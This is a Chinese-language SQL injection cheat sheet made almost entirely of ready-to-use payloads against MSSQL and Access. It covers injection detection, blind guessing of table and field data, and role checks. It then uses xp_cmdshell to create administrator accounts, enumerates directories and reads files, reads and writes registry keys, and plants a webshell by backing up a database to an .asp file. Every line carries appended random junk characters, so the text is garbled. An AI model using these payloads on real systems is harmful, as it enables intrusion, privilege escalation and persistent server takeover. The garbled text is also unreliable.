1.判断是否有注入;and 1=1 ;and 1=2 u_b6u@r7
2.初步判断是否是mssql ;and user>0 b27t-p8
Rhw+~gd*F
3.注入参数是字符'and [查询条件] and ''=' 74hRG~
6t'.4SR
4.搜索时没过滤参数的'and [查询条件] and '%25'=' -67!u;
G}aM~, v
5.判断数据库系统 Dw,LB>Eq,
n>)h9q S
;and (select count(*) from sysobjects)>0 mssql cmY `$=
)"63g
;and (select count(*) from msysobjects)>0 access V5 Gy|X
IiY%y:!g
Bm6tf}8
w,X J8+B
6.猜数据库 ;and (select Count(*) from [数据库名])>0 .g.glQ_~=
th5UzpB4
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 *r|13|k
Rk{vz|
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 >xXq:4l>}
j|b$b,rF\
9.(1)猜字段的ascii值(access) \)2'+R
Ix0#eoj
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 Eks<O
=!/T4Oo
(2)猜字段的ascii值(mssql) 4I.)>+8V
\@zoM:[sN
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Z`n "}{
^}<]sjmk
10.测试权限结构(mssql) C\0,D9
(.b!kfC
9QeBz`lm)
<1`MjP*w
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- OfeM;)
:\%hv>}|
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- B|=S-5pv*
ppeF,Q
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- V2g"5nYT
WY26Iq@C
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- SzG?m]
2\F'So
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- sBNqg~HwB?
q}(f9
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8A'SMJi
y4H/CH$%
;and 1=(select IS_MEMBER('db_owner'));-- `*i:z'
8rNf4]5@X(
bKh}Y`
d~T@fa
11.添加mssql和系统的帐户 <<9|*Tz
)[=C@U
;exec master.dbo.sp_addlogin username;-- M -8d*#_P
;exec master.dbo.sp_password null,username,password;-- WWLf'89It
;h#Q!M&e#
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- vJ;0%;eu[!
%mOQIXr1s
;exec master.dbo.xp_cmdshell 'net user username password dd4^4X`j
ho!qXS
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- C k/DV
WJ\,Y} J
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ~SXqhX-`
\8k4v#wH
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- m,F4N$
59V8cO+qH
!VHw*fL|r
tnq ZlS
12.(1)遍历目录 #=Whh
9-d
w~n+hhMF
;create table dirs(paths varchar(100), id int) p#>,{
V! .I>
;insert dirs exec master.dbo.xp_dirtree 'c:\' i{r[zA]$
vI(CX]o
;and (select top 1 paths from dirs)>0 q%XjJ -s:
+}BKDEb
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) C
*7x7|z
9q2x}
Seq
^o=
z\K-KD{Ad
(2)遍历目录 WqHp23
1([?EfC
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- }#nd&ND
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 unr`.}A2>
mlz|KI~\F;
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 HrRw
S4!B;,?AxN
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 }3-`e3
WHRBYq_
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 02^Nf7DMR
;rXZ?"
`mquGk|)
tHFUV\D;,
13.mssql中的存储过程 EIOP+9zP
C`8.8
xp_regenumvalues 注册表根键, 子键 jTqEV(
k:&B
b"
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ]'z 5%'
`a@YbuLd
xp_regread 根键,子键,键值名 ];QX&";Z
+t(Gt0+
;exec xp_regread !{A#\~,
Jn20^YG
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 3+!G9T!
iq5-eJmq
xp_regwrite 根键,子键, 值名, 值类型, 值 W QeQ`pM
~le:4qaX
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 880T'5}S
:
%~N| RSec
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Qn/6gRLj
Qo80u?*
xp_regdeletevalue 根键,子键,值名 C0&ZQvvy1:
Z|d+1i
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 #_: %Yd
A!a.,{fZ
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Xzqx8Kd
mC'<Ov<eJ
v/,,z+%-
"[CR5q9Pr
14.mssql的backup创建webshell Q776cj^L
&E-q(3-
use model pc;`Fz/`7
)t$-/8
create table cmd(str image); U<"k-
cfHtUv
insert into cmd(str) values (''); VzWH9%w
)c.!3n/pb
backup database model to disk='c:\l.asp'; W'v
o?
-LlS9[r0
1gX$U00:
k%;oc$0G-3
15.mssql内置函数 7<LCX{Uw
K>#QC
;and (select @@version)>0 获得Windows的版本号 tl=e!
D+Z2y1
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
$qiM_06
*^ua2s.
;and (select user_name())>0 爆当前系统的连接用户 xqv&^,ic
#eKH'fE
;and (select db_name())>0 得到当前连接的数据库 "?'9\<>
M|UCV_omN
IJLuu@kRm,
H4W!@"e
16.简洁的webshell <#)Q.P
g!`^!Q/($
use model sLc,Dx"+
N <M6~
create table cmd(str image); bDq<]h_7
xr31<4B
insert into cmd(str) values (''); WFvVu3
Dt'bbX'edw
backup database model to disk='g:\wwwtest\l.asp';